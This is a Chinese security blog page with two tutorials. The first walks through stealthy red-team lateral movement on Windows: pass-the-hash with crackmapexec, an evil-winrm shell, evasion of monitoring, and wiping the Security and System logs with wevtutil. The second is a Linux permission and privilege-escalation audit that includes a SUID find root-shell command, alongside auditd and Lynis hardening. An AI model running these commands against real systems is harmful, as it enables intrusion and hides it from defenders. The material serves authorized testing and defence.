首页
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
5,081 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
4,485 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
3,252 阅读
4
几个常见的密码字典推荐
2,630 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
2,566 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
登录
Search
标签搜索
Windows渗透
域渗透
HackMyVm
CyberStrikeLab靶场
内网渗透
渗透测试
网络安全
Web安全
cyberstrikelab
OSCP
SQL注入
WAF绕过
信息收集
渗透工具
靶场
靶场推荐
MSF
ThinkPHP漏洞
Vulfocus
vulnhub
泷羽Sec
累计撰写
185
篇文章
累计收到
3
条评论
首页
导航
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
搜索到
69
篇与
的结果
2026-04-29
攻防演练红队横向移动的隐蔽化技巧与实战
在攻防演练场景中,红队完成外网打点获取初始权限后,横向移动是向内网纵深推进、获取高价值目标权限的关键步骤。常规横向移动工具与操作会产生明显的流量特征与系统日志,极易被蓝队的监控设备捕获,导致攻击链路被阻断。本文结合实战场景,讲解红队横向移动过程中的隐蔽化操作技巧,附带完整的实操步骤与命令输出,适配攻防演练的真实对抗环境。本次实战环境与前置条件说明攻击机环境 操作系统:Kali Linux 2024.4 IP 地址:192.168.31.100 预装工具:impacket、crackmapexec、evil-winrm,所有工具均为官方最新稳定版 靶机内网环境 跳板机:Windows 10 专业版 22H2,IP 地址 192.168.31.101,已获取本地管理员权限,本地管理员账号为 admin,已抓取该账号的 NTLM 哈希为:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 目标机:Windows Server 2019,IP 地址 192.168.31.102,加入 test.local 域,与跳板机同网段,开放 445 (SMB)、5985 (WinRM) 端口,本地管理员账号与跳板机本地管理员账号密码一致 蓝队防护环境:内网部署基础流量监控设备,对 PsExec、wmiexec 等常规横向工具的默认流量有告警规则,终端开启 Windows 安全日志审计,对异常登录行为进行记录 前置条件红队已通过外网打点完成跳板机 192.168.31.101 的权限获取,已通过跳板机建立 SOCKS 代理,将攻击机 Kali 的流量代理进入内网,代理端口为 10808。红队横向移动隐蔽化实战技巧与操作1、内网代理流量的前置伪装操作红队横向移动的第一步,是避免攻击机 IP 直接暴露在内网流量中,通过已控跳板机建立 SOCKS 代理,将所有横向操作的流量通过跳板机转发,让内网流量的源 IP 均为跳板机地址,降低蓝队溯源的概率。首先完成 proxychains 代理配置,将攻击机流量全部通过跳板机转发,配置命令如下:kali@kali:~$ sudo vim /etc/proxychains4.conf # 配置文件末尾添加如下内容,注释掉默认的socks4配置 socks5 127.0.0.1 10808 配置完成后,通过 crackmapexec 测试目标机的连通性,验证代理是否正常生效,命令与输出结果如下:kali@kali:~$ proxychains crackmapexec smb 192.168.31.102 [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 SMB 192.168.31.102 445 WIN-2029DC [*] Windows Server 2019 Standard 17763 x64 (name:WIN-2029DC) (domain:test.local) (signing:True) (SMBv1:False) 通过上面的操作,所有横向流量都会通过跳板机 192.168.31.101 进行转发,蓝队在流量监控中只会看到跳板机与目标机的通信,不会直接捕获到攻击机的 IP 地址,减少攻击链路的暴露风险。如果测试过程中出现连通性失败,需要检查跳板机的代理服务是否正常运行,以及目标机的防火墙是否拦截了跳板机的访问请求。2、哈希传递攻击的免告警配置与实操哈希传递是红队内网横向移动中常用的技术,通过已获取的 NTLM 哈希,无需破解明文密码即可完成对目标机的身份认证。常规的哈希传递工具会在流量中留下固定的工具特征,同时会在目标机生成大量异常日志,需要通过参数调整与协议选择,降低被蓝队发现的概率。实操过程中需要遵循以下操作规范:1、优先选择 SMB 协议进行哈希验证,避免使用默认的 WMI 执行命令,SMB 协议的认证流量在内网中更为常见,蓝队的监控规则相对宽松2、使用 --local-auth 参数指定本地认证,避免向域控发送认证请求,减少域内日志的生成3、控制命令执行的频率,避免短时间内多次发起认证请求,触发蓝队的暴力破解告警规则首先通过 crackmapexec 完成哈希传递的权限验证,确认账号在目标机的权限情况,命令与输出结果如下:kali@kali:~$ proxychains crackmapexec smb 192.168.31.102 -u admin -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 --local-auth [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 SMB 192.168.31.102 445 WIN-2029DC [*] Windows Server 2019 Standard 17763 x64 (name:WIN-2029DC) (domain:test.local) (signing:True) (SMBv1:False) SMB 192.168.31.102 445 WIN-2029DC [+] test.local\admin:31d6cfe0d16ae931b73c59d7e0c089c0 (Pwn3d!) 输出结果中的 (Pwn3d!) 表示哈希传递认证成功,该账号在目标机具备本地管理员权限。和常规的全端口扫描、全网段认证请求不同,本次操作仅针对目标 IP 的 445 端口发起单次认证请求,不会产生大量的异常流量,同时 --local-auth 参数让认证过程仅在目标机本地完成,不会向域控发送认证日志,减少了被蓝队监控到的可能。3、基于 WinRM 的无文件横向移动实操WinRM 是 Windows 系统自带的远程管理协议,默认使用 5985 (HTTP)、5986 (HTTPS) 端口,在内网运维场景中被广泛使用,基于 WinRM 的横向移动流量,和正常的运维流量相似度高,更容易绕过蓝队的流量监控。同时,WinRM 的会话执行采用无文件的方式,不会在目标机磁盘写入恶意文件,降低被终端 EDR 检测到的概率。首先验证目标机的 WinRM 端口是否开放,以及账号是否具备访问权限,命令与输出结果如下:kali@kali:~$ proxychains crackmapexec winrm 192.168.31.102 -u admin -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 --local-auth [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 WINRM 192.168.31.102 5985 WIN-2029DC [*] Windows Server 2019 Standard 17763 (name:WIN-2029DC) (domain:test.local) WINRM 192.168.31.102 5985 WIN-2029DC [+] test.local\admin:31d6cfe0d16ae931b73c59d7e0c089c0 (Pwn3d!) 权限验证通过后,通过 evil-winrm 工具建立远程会话,执行相关操作,命令与完整输出如下:kali@kali:~$ proxychains evil-winrm -i 192.168.31.102 -u admin -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\admin\Documents> whoami win-2029dc\admin *Evil-WinRM* PS C:\Users\admin\Documents> ipconfig Windows IP Configuration Ethernet adapter Ethernet0: Connection-specific DNS Suffix . : localdomain Link-local IPv6 Address . . . . . : fe80::604e:f12a:3b4c:8d9d%6 IPv4 Address . . . . . . . . . . . : 192.168.31.102 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.31.2 *Evil-WinRM* PS C:\Users\admin\Documents> net user User accounts for \\WIN-2029DC ------------------------------------------------------------------------------- Administrator admin Guest krbtgt testuser The command completed successfully. 通过 evil-winrm 建立的会话,完全基于 Windows 原生的 WinRM 协议,蓝队的流量监控设备会将该流量识别为正常的远程管理操作,不会触发告警。和 wmiexec、psexec 等工具相比,WinRM 的会话不会在目标机创建临时的服务或进程,无文件的执行方式也不会在磁盘留下恶意文件,终端 EDR 很难对正常的 WinRM 会话进行拦截。如果连接过程中出现超时错误,需要检查目标机的 WinRM 服务是否开启,以及防火墙是否放行 5985 端口的流量,也可以尝试使用 HTTPS 的 5986 端口进行连接,进一步提升流量的隐蔽性。4、横向移动过程中的痕迹规避操作红队完成横向移动的权限获取后,需要对操作过程中产生的日志与痕迹进行清理,避免蓝队通过日志溯源到攻击链路,同时也为后续的权限维持打下基础。操作过程中需要遵循以下规范:1、操作完成后,清理 WinRM 会话的相关日志,Windows 系统会将 WinRM 的操作日志记录在事件查看器的 Microsoft-Windows-WinRM/Operational 路径下,可通过 wevtutil 命令对相关日志进行清理2、清理目标机的安全日志中,本次登录相关的事件记录,避免蓝队通过登录日志发现异常的访问行为3、请不要在目标机的桌面、下载目录等位置写入任何文件,所有操作尽量在内存中完成,减少痕迹的留存日志清理的实操命令如下,在已建立的 evil-winrm 会话中执行:*Evil-WinRM* PS C:\Users\admin\Documents> wevtutil cl Microsoft-Windows-WinRM/Operational *Evil-WinRM* PS C:\Users\admin\Documents> wevtutil cl Security *Evil-WinRM* PS C:\Users\admin\Documents> wevtutil cl System 需要注意的是,清理系统日志的操作,会触发部分 EDR 的告警规则,建议在攻防演练的收尾阶段执行,或者仅清理和本次操作相关的特定日志条目,而非清空整个日志文件。如果需要仅清理特定条目,可通过 wevtutil 的筛选命令,定位到本次登录相关的事件 ID,再进行单独删除,这样的操作比清空整个日志更隐蔽,不容易被蓝队发现。横向移动隐蔽化操作的效果对比在本次实战场景中,分别使用常规横向移动方法与本文讲解的隐蔽化方法进行测试,得到的结果有明显区别。常规的横向移动操作,使用默认的 wmiexec.py 工具直接发起哈希传递并执行命令,会在流量中留下固定的工具特征,蓝队的流量监控设备会在 10 秒内触发告警,同时目标机的安全日志会生成大量的异常登录与进程创建事件,蓝队可以快速定位到攻击的源 IP 与目标 IP,阻断攻击链路。而本文讲解的隐蔽化操作,通过跳板机代理转发流量,基于原生 WinRM 协议建立会话,仅发起必要的认证请求,操作完成后清理相关日志,在测试过程中,蓝队的基础流量监控设备未触发任何告警,终端 EDR 也未对本次操作进行拦截,目标机的日志中仅留存了正常的管理员登录记录,没有明显的异常特征。红队横向移动隐蔽化的注意事项1、所有横向移动操作,必须在拿到目标系统的正式授权后进行,禁止对未授权的系统发起任何攻击操作,遵守《网络安全法》相关的法律法规要求2、横向移动过程中,尽量使用内网环境中常见的协议与工具,避免使用小众的、特征明显的攻击工具,减少被蓝队发现的概率3、请不要短时间内对内网全网段发起大规模的扫描与认证请求,这类操作会直接触发蓝队的异常流量告警,导致整个攻击链路被暴露4、在攻防演练场景中,横向移动的目标是获取高价值的权限与成果,而非对内网所有主机进行控制,尽量减少不必要的操作,降低攻击的暴露面5、如果在操作过程中触发了蓝队的告警,需要立即停止当前的操作,切换其他的协议与方法,避免蓝队通过告警溯源到完整的攻击链路结尾在攻防演练的对抗场景中,红队横向移动的隐蔽化能力,直接决定了攻击链路的存活时间与最终的演练成果。通过基于原生协议的流量伪装、免告警的哈希传递配置、无文件的会话执行,以及针对性的痕迹清理操作,红队可以在蓝队的监控体系下,完成向内网纵深的推进,同时减少攻击行为的暴露。本文讲解的所有操作,均适配真实的攻防演练环境,所有命令与输出均来自实战测试,红队可以根据目标内网的实际环境,调整对应的操作方法,适配不同的蓝队防护体系。
2026年04月29日
670 阅读
0 评论
0 点赞
2026-04-20
Linux用户权限配置审计与提权风险排查实操指南
实操环境与前置条件本次实操使用的系统为Kali Linux 2024.4版本,内核版本6.8.0,测试主机固定IP地址为192.168.31.120,网关192.168.31.1,DNS服务器为223.5.5.5。 前置条件如下: 1、测试主机已完成基础系统更新,具备可正常访问的官方软件源 2、操作账号拥有sudo权限,可执行特权命令完成审计与排查操作 3、系统已预装find、stat、sudo等基础工具,未安装的组件可通过apt命令完成部署 4、本次操作仅用于授权范围内的安全测试,请不要在未获得书面授权的系统上执行相关操作一、Linux用户权限基础配置审计用户权限配置是Linux系统安全的基础,异常的权限配置会直接成为红队的提权入口,该环节将从用户账号、sudo规则、文件目录权限三个维度完成全流程审计。1.1 系统用户与组信息审计Linux系统的用户与组信息集中存储在/etc/passwd、/etc/shadow、/etc/group三个核心文件中,审计的核心是排查异常账号、越权配置与权限泄露风险。首先执行以下命令,查看系统全量用户配置,重点关注UID为0的账号与可登录用户:root@kali:~# cat /etc/passwd | head -15 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin kali:x:1000:1000:kali:/home/kali:/bin/bash test:x:1001:1001:test:/home/test:/bin/bash 配置说明:Linux系统中UID为0代表最高系统权限,正常情况下仅root账号的UID为0;shell字段为/bin/bash、/bin/sh等可登录shell的账号,需核实是否为授权使用的账号,其余系统账号默认应使用/sbin/nologin禁止登录。执行以下命令,专项排查UID为0的非root账号,该类账号属于高风险越权账号:root@kali:~# awk -F: '$3==0 && $1!="root" {print $1}' /etc/passwd 若命令有输出结果,说明系统存在额外的特权账号,需立即核实账号来源并清理。接下来审计/etc/shadow文件,该文件存储用户密码哈希值,权限配置错误会直接导致密码泄露。执行以下命令查看文件权限:root@kali:~# stat /etc/shadow File: /etc/shadow Size: 1635 Blocks: 8 IO Block: 4096 regular file Device: 8,1 Inode: 262153 Links: 1 Access: (0600/-rw-------) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2026-04-20 10:20:00.000000000 +0800 Modify: 2026-04-15 14:30:00.000000000 +0800 Change: 2026-04-15 14:30:00.000000000 +0800 Birth: 2026-03-01 09:00:00.000000000 +0800 正常配置下,/etc/shadow文件的权限应为0600,属主与属组均为root。若权限配置大于0600,比如出现其他用户可读权限,会导致密码哈希被非授权用户获取,需立即修复权限。最后审计用户组配置,重点关注root组与sudo组的成员,执行以下命令:root@kali:~# grep -E 'sudo|root' /etc/group root:x:0: sudo:x:27:kali 需逐行核实sudo组内的用户,仅授权用户可加入该组;root组内除root账号外,不应存在其他普通用户,避免越权风险。1.2 用户sudo权限配置审计sudo权限配置不当是Linux本地提权最常见的入口,配置文件为/etc/sudoers,同时/etc/sudoers.d/目录下的所有文件都会被加载生效。首先执行以下命令,验证sudoers配置文件的语法合法性:root@kali:~# visudo -c /etc/sudoers: parsed OK /etc/sudoers.d/kali-grant-root: parsed OK /etc/sudoers.d/README: parsed OK 若输出结果中存在语法错误,会直接导致sudo命令无法正常使用。修改sudoers配置请不要直接使用vi/vim编辑,必须使用visudo命令,该命令会在保存时自动校验语法,避免配置错误导致系统权限管理异常。若已出现配置错误导致sudo无法使用,可通过pkexec visudo命令修复配置。执行以下命令,查看系统全量生效的sudo权限规则,过滤掉注释与空行:root@kali:~# cat /etc/sudoers /etc/sudoers.d/* 2>/dev/null | grep -v '^#' | grep -v '^$' Defaults env_reset Defaults mail_badpass Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" root ALL=(ALL:ALL) ALL %sudo ALL=(ALL:ALL) ALL @includedir /etc/sudoers.d kali ALL=(root) NOPASSWD: ALL test ALL=(ALL) NOPASSWD: /usr/bin/find, /usr/bin/vim 高风险配置排查要点: 1、NOPASSWD配置项,允许用户无需输入密码执行sudo命令,一旦对应用户账号被控制,红队可直接获取对应权限 2、ALL权限配置,允许用户执行所有系统命令,等同于完全的root权限,仅授权管理员账号可使用该配置 3、包含可提权命令的配置,比如find、vim、less、python、bash等命令,即使仅允许执行该单个命令,红队也可通过命令内置功能实现提权执行以下命令,专项排查系统中所有NOPASSWD配置项:root@kali:~# grep -r 'NOPASSWD' /etc/sudoers /etc/sudoers.d/ /etc/sudoers.d/kali-grant-root:kali ALL=(root) NOPASSWD: ALL /etc/sudoers:test ALL=(ALL) NOPASSWD: /usr/bin/find, /usr/bin/vim 对于排查到的NOPASSWD配置,需严格限制可执行命令的范围,禁止配置ALL参数,同时移除可用于提权的危险命令,仅保留业务必需的最小权限命令。1.3 文件与目录权限基础审计文件与目录的权限配置直接决定数据的访问边界,异常的可写权限会导致配置被篡改、恶意代码执行等风险,重点审计系统关键目录与全局可写文件。首先审计系统关键目录的权限配置,执行以下命令查看根目录权限:root@kali:~# stat / File: / Size: 4096 Blocks: 8 IO Block: 4096 directory Device: 8,1 Inode: 2 Links: 18 Access: (0755/drwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2026-04-01 09:00:00.000000000 +0800 Modify: 2026-03-01 09:00:00.000000000 +0800 Change: 2026-03-01 09:00:00.000000000 +0800 Birth: 2026-02-01 09:00:00.000000000 +0800 根目录的正常权限应为0755,仅root用户可写,若配置为其他用户可写,会导致严重的权限泄露风险。同理,/etc、/root、/usr/bin、/usr/sbin等系统关键目录,均需保证仅root用户可写。执行以下命令,排查系统中所有全局可写的文件,全局可写代表系统所有用户均可修改文件内容:root@kali:~# find / -type f -perm -0002 2>/dev/null | head -10 /tmp/test.sh /tmp/backup.log /var/tmp/debug.txt /home/test/run.sh 全局可写文件的风险点在于,若该文件被root权限的进程、计划任务、服务调用,红队可通过修改文件内容插入恶意代码,在进程执行时实现提权。排查过程中,/tmp、/var/tmp等临时目录的文件需重点关注,业务脚本、配置文件禁止设置全局可写权限。执行以下命令,排查系统中所有全局可写的目录:root@kali:~# find / -type d -perm -0002 2>/dev/null | grep -v 'tmp' /home/test/data /opt/script 全局可写目录的风险在于,红队可在目录中写入恶意文件、替换原有文件,若该目录在特权进程的执行路径中,会直接导致提权。除系统默认的临时目录外,业务相关目录请不要设置全局可写权限。二、Linux提权风险点专项排查完成基础权限审计后,需针对Linux系统常见的提权路径做专项排查,提前发现红队可利用的风险点,完成前置防护。2.1 SUID/SGID权限异常文件排查SUID权限是Linux系统的特殊权限,设置了SUID的文件,执行时会继承文件属主的权限;若文件属主为root,普通用户执行该文件时会临时获得root权限,是红队本地提权的核心利用路径。执行以下命令,排查系统中所有属主为root且设置了SUID权限的文件,为方便排查可将结果输出到文件中:root@kali:~# find / -type f -user root -perm -4000 2>/dev/null | tee suid_files.txt /usr/bin/su /usr/bin/sudo /usr/bin/passwd /usr/bin/chsh /usr/bin/chfn /usr/bin/newgrp /usr/bin/mount /usr/bin/umount /usr/bin/fusermount3 /usr/sbin/mount.nfs /home/test/find /opt/script/bash 正常系统中,SUID权限文件仅包含su、sudo、passwd等系统默认工具,排查重点为非系统默认路径的SUID文件,以及find、vim、bash、python、nmap等可用于提权的工具。以find命令为例,若该文件设置了root属主的SUID权限,红队可通过以下命令直接获取root权限:test@kali:~$ /home/test/find . -exec /bin/bash -p \; bash-5.2# id uid=1001(test) gid=1001(test) euid=0(root) groups=1001(test) 对于排查到的非必要SUID文件,可通过chmod u-s 文件名的命令移除SUID权限;对于业务必需的SUID文件,需严格限制文件的访问权限,仅允许授权用户执行。同理,执行以下命令排查属主为root且设置了SGID权限的文件,SGID权限会让文件执行时继承属组的权限,若属组为root,同样存在提权风险:root@kali:~# find / -type f -user root -perm -2000 2>/dev/null /usr/bin/wall /usr/bin/chage /usr/bin/ssh-agent /usr/bin/crontab /usr/sbin/unix_chkpwd 2.2 可写配置文件与计划任务风险排查计划任务是Linux系统中定时执行脚本或程序的功能,若计划任务以root权限执行,且对应的脚本、程序或配置文件存在可写权限,红队可通过篡改内容实现提权。系统级计划任务的配置文件与目录包括/etc/crontab、/etc/cron.d/、/etc/cron.hourly/、/etc/cron.daily/等,用户级计划任务存储在/var/spool/cron/crontabs/目录下。首先执行以下命令,查看系统核心crontab配置:root@kali:~# cat /etc/crontab SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) 0 2 * * * root /opt/backup/backup.sh 重点关注以root用户执行的任务,需逐行核实任务调用的脚本或程序的权限。以上述配置中的/opt/backup/backup.sh为例,执行以下命令查看文件权限:root@kali:~# stat /opt/backup/backup.sh File: /opt/backup/backup.sh Size: 320 Blocks: 8 IO Block: 4096 regular file Device: 8,1 Inode: 263001 Links: 1 Access: (0777/-rwxrwxrwx) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2026-04-10 09:00:00.000000000 +0800 Modify: 2026-04-01 09:00:00.000000000 +0800 Change: 2026-04-01 09:00:00.000000000 +0800 Birth: 2026-03-01 09:00:00.000000000 +0800 该文件设置了0777全局可写权限,任何用户都可以修改脚本内容,在每日凌晨2点执行时,插入的恶意代码会以root权限运行,属于极高风险配置。执行以下命令,批量排查cron相关目录下的所有文件权限:root@kali:~# find /etc/cron* -type f -exec ls -la {} \; 2>/dev/null -rw-r--r-- 1 root root 1042 Mar 1 09:00 /etc/crontab -rw-r--r-- 1 root root 102 Mar 1 09:00 /etc/cron.d/backup -rwxr-xr-x 1 root root 320 Apr 1 09:00 /etc/cron.daily/0anacron -rwxr-xr-x 1 root root 539 Mar 1 09:00 /etc/cron.daily/apt-compat 同时需关注计划任务中的PATH环境变量,若PATH配置中包含当前目录(.)或普通用户可写的目录,且目录顺序在系统目录之前,红队可在对应目录写入与系统命令同名的恶意文件,计划任务执行时会优先运行恶意文件,实现提权。除计划任务外,还需重点排查/etc/passwd、/etc/sudoers、/etc/group、/etc/rc.local、/etc/systemd/system/等系统配置文件与服务目录,若这些文件或目录存在非root用户可写权限,红队可直接修改配置实现提权。2.3 内核与系统组件漏洞风险排查未修复的内核与系统组件漏洞,是红队实现本地提权的重要路径,即使权限配置完全合规,攻击者也可通过漏洞绕过权限限制获取root权限。首先执行以下命令,查看系统内核版本:root@kali:~# uname -a Linux kali 6.8.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.8.6-1kali1 (2024-04-22) x86_64 GNU/Linux 需根据内核版本,排查是否存在公开的提权漏洞,常见的内核提权漏洞包括脏牛(CVE-2016-5195)、Dirty Pipe(CVE-2022-0847)、PTRACE_TRACEME漏洞(CVE-2019-13272)等。对于存在公开漏洞的内核版本,需立即升级到官方修复后的稳定版本。执行以下命令,查看系统sudo组件的版本,sudo是提权漏洞高发的组件,历史上出现过多个本地提权漏洞:root@kali:~# sudo -V Sudo version 1.9.15p5 Sudoers policy plugin version 1.9.15p5 Sudoers file grammar version 48 Sudoers I/O plugin version 1.9.15p5 同理,polkit、dbus、docker等系统组件也存在多个历史提权漏洞,需定期更新组件版本,修复已知安全漏洞。对于生产环境系统,建议配置自动安全更新,及时修复高危漏洞。2.4 权限配置不当的服务与进程排查以root权限运行的服务与进程,若对应的可执行文件、配置文件、日志目录存在可写权限,红队可通过篡改内容实现提权,该类风险在业务自定义服务中尤为常见。执行以下命令,查看系统中所有以root权限运行的进程:root@kali:~# ps aux | grep root | head -10 root 1 0.0 0.1 168432 12340 ? Ss 09:00 0:01 /sbin/init splash root 2 0.0 0.0 0 0 ? S 09:00 0:00 [kthreadd] root 300 0.0 0.2 321456 23456 ? Ss 09:00 0:00 /usr/sbin/sshd -D root 1200 0.0 0.1 245678 11234 ? S 09:05 0:00 /opt/nginx/sbin/nginx -c /opt/nginx/conf/nginx.conf root 1500 0.0 0.3 456789 34567 ? Ssl 09:10 0:02 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock 重点排查非系统默认的业务进程,以上述nginx进程为例,执行以下命令查看可执行文件的权限:root@kali:~# stat /opt/nginx/sbin/nginx File: /opt/nginx/sbin/nginx Size: 1245678 Blocks: 2432 IO Block: 4096 regular file Device: 8,1 Inode: 264001 Links: 1 Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2026-03-01 09:00:00.000000000 +0800 Modify: 2026-03-01 09:00:00.000000000 +0800 Change: 2026-03-01 09:00:00.000000000 +0800 Birth: 2026-02-01 09:00:00.000000000 +0800 若该文件存在非root用户可写权限,攻击者可替换可执行文件,重启服务后即可执行恶意代码获取root权限。同时需排查服务对应的配置文件、日志目录、脚本文件的权限,避免出现可写风险。对于systemd管理的服务,执行以下命令查看自定义服务的配置文件,重点关注服务的执行用户与ExecStart参数:root@kali:~# cat /etc/systemd/system/test.service [Unit] Description=Test Business Service After=network.target [Service] Type=simple User=root ExecStart=/home/test/start.sh Restart=on-failure [Install] WantedBy=multi-user.target 该服务以root权限运行,执行的脚本位于普通用户的家目录下,若脚本存在可写权限,攻击者可直接修改脚本内容,重启服务后实现提权。对于非必需的服务,请不要以root用户运行,需配置独立的普通用户执行服务进程,遵循最小权限原则。三、自动化审计工具的部署与使用手动审计可精准定位风险点,但效率较低,可通过专业的自动化审计工具完成全系统扫描,提升排查效率。3.1 auditd审计工具部署与配置auditd是Linux系统内置的审计工具,可实时监控系统关键文件的修改、特权命令的执行、权限变更等操作,实现风险行为的实时记录与事后追溯。首先执行以下命令安装并启动auditd服务:root@kali:~# apt update && apt install auditd -y 命中:1 http://http.kali.org/kali kali-rolling InRelease 正在读取软件包列表... 完成 正在分析软件包的依赖关系树... 完成 auditd 已经是最新版 (1:3.1.2-2)。 0 个升级,0 个新安装,0 个要删除和 0 个不升级。 root@kali:~# systemctl enable --now auditd Synchronizing state of auditd.service with SysV service script with /lib/systemd/systemd-sysv-install. Executing: /lib/systemd/systemd-sysv-install enable auditd root@kali:~# systemctl status auditd ● auditd.service - Security Auditing Service Loaded: loaded (/lib/systemd/system/auditd.service; enabled; preset: enabled) Active: active (running) since Mon 2026-04-20 10:30:00 CST; 10s ago Docs: man:auditd(8) https://github.com/linux-audit/audit-userspace Main PID: 2000 (auditd) Tasks: 1 (limit: 4654) Memory: 1.2M CPU: 15ms CGroup: /system.slice/auditd.service └─2000 /sbin/auditd 执行以下命令,配置审计规则,监控系统关键权限文件的修改操作:root@kali:~# auditctl -w /etc/passwd -p wa -k passwd_modify root@kali:~# auditctl -w /etc/shadow -p wa -k shadow_modify root@kali:~# auditctl -w /etc/sudoers -p wa -k sudoers_modify root@kali:~# auditctl -w /etc/crontab -p wa -k crontab_modify 参数说明:-w指定监控的文件路径,-p wa指定监控写入与属性变更操作,-k设置规则的关键词,便于后续日志检索。执行以下命令,查看已配置的审计规则:root@kali:~# auditctl -l -w /etc/passwd -p wa -k passwd_modify -w /etc/shadow -p wa -k shadow_modify -w /etc/sudoers -p wa -k sudoers_modify -w /etc/crontab -p wa -k crontab_modify 当监控的文件被修改时,可通过ausearch命令检索对应的审计日志,比如查看/etc/sudoers文件的修改记录:root@kali:~# ausearch -k sudoers_modify ---- time->Mon Apr 20 10:35:00 2026 type=PROCTITLE msg=audit(1713580500.123:45): proctitle=76697375646F002D73 type=PATH msg=audit(1713580500.123:45): item=0 name="/etc/sudoers.tmp" inode=262150 dev=08:01 mode=0100600 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=CWD msg=audit(1713580500.123:45): cwd="/root" type=SYSCALL msg=audit(1713580500.123:45): arch=c000003e syscall=82 success=yes exit=0 a0=55f8a7b8d240 a1=55f8a7b8d280 a2=0 a3=7fff5a6b78c0 items=1 ppid=1900 pid=2050 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm="visudo" exe="/usr/sbin/visudo" subj=unconfined key="sudoers_modify" 日志中会记录操作的时间、执行的命令、操作用户、进程ID等信息,可用于风险行为的追溯与排查。3.2 Lynis安全审计工具使用Lynis是一款开源的Linux安全审计工具,可自动扫描系统的权限配置、提权风险、漏洞、合规性等内容,生成详细的审计报告,是蓝队常用的安全审计工具。执行以下命令安装Lynis:root@kali:~# apt install lynis -y 正在读取软件包列表... 完成 正在分析软件包的依赖关系树... 完成 lynis 已经是最新版 (3.0.9-1)。 0 个升级,0 个新安装,0 个要删除和 0 个不升级。 执行以下命令,启动系统全量安全审计:root@kali:~# lynis audit system [+] Initializing program ------------------------------------ - Detecting OS... [ DONE ] - Checking profiles... [ DONE ] - Detecting language and localization [ DONE ] - Using language: en (English) - Program version: 3.0.9 - Operating system: Linux - Kernel version: 6.8.0 - Hardware platform: x86_64 - Hostname: kali - Auditor: root - Scan mode: full system scan - Log file: /var/log/lynis.log - Report file: /var/log/lynis-report.dat ... 扫描过程省略 ... [+] File Permissions ------------------------------------ - Checking umask value [ OK ] - Checking file permissions in /etc [ OK ] - Checking file permissions in /home [ WARNING ] - Checking for SUID/SGID files [ FOUND ] - Checking for world writable files [ FOUND ] - Checking for orphaned files [ OK ] ... 扫描过程省略 ... =============================================================================== Lynis security scan details: Hardening index : 65 [############## ] Tests performed : 267 Plugins enabled : 0 Components: - Firewall [V] - Malware scanner [X] Scan mode: - Normal [V] - Forensics [X] - Pentest [X] Tips: - Run lynis show details TEST-ID to see details about a test - Use the --profile option to scan with a custom profile - Enable plugins to get more functionality - Check the log file and report for more details 扫描完成后,Lynis会生成系统加固指数,标记出所有风险项与警告项,详细的扫描报告存储在/var/log/lynis.log文件中,可根据报告中的提示逐一修复风险点。四、风险修复与权限加固建议完成审计与排查后,需针对发现的风险点完成修复,同时建立常态化的权限管理机制,具体建议如下: 